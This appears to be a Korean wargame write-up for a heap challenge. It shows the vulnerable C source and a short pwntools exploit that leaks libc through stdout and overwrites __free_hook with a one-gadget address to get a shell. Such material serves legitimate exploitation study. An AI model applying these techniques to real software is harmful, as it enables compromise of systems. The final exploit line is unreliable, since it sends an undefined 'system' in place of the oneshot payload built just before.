
amd64, Full RELRO, Canary, NX 적용
long *ptr; size_t size; initialize(); printf("stdout: %p\n", stdout); printf("Size: "); scanf("%ld", &size); ptr = malloc(size); printf("Data: "); read(0, ptr, size); *(long *)*ptr = *(ptr+1); free(ptr); free(ptr); system("/bin/sh"); return 0;지역변수 *ptr, size가 있고, 처음에 stdout의 포인터를 알려준다.
그 포인터를 이용해 libc 오프셋을 구할 수 있다.
scanf로 size를 입력받고, 포인터 변수 ptr은 동적 할당된 메모리를 가리키게 된다.
read로 동적 할당 받은 ptr의 내용을 입력받는다.
*(long *)*ptr = *(ptr+1); 은 ptr에 ptr+1 (ptr로부터 8바이트 떨어진 데이터)를 대입하는 것이다.
총 크기 :0x30
*argv[0x8], ???[0x4], argc[0x4] (main 함수 인자)[0x10]
???[0x8]0x8
size_t size[0x8], long *ptr[0x8], (지역 변수)[0x10]
canary[0x8]0x8
p.recvuntil(b"stdout: ") stdout=int(p.recvn(14),16) lb=stdout-0x3c5620
첫번째 것은 작동이 되지 않으므로 두번째 것을 선택했다.free_hook=lb+0x3c67a8 oneshot=lb+0x4526aptr에 ptr로부터 8바이트 떨어진 것을 대입하므로,
free_hook과 oneshot (16바이트)을 연달아서 전송해주면 셸을 얻을 수 있다.payload=p64(free_hook)+p64(oneshot) p.recvuntil("Size: ") p.sendline(b"16") p.recvuntil("Data: ") p.send(p64(free_hook)+p64(system)) p.interactive()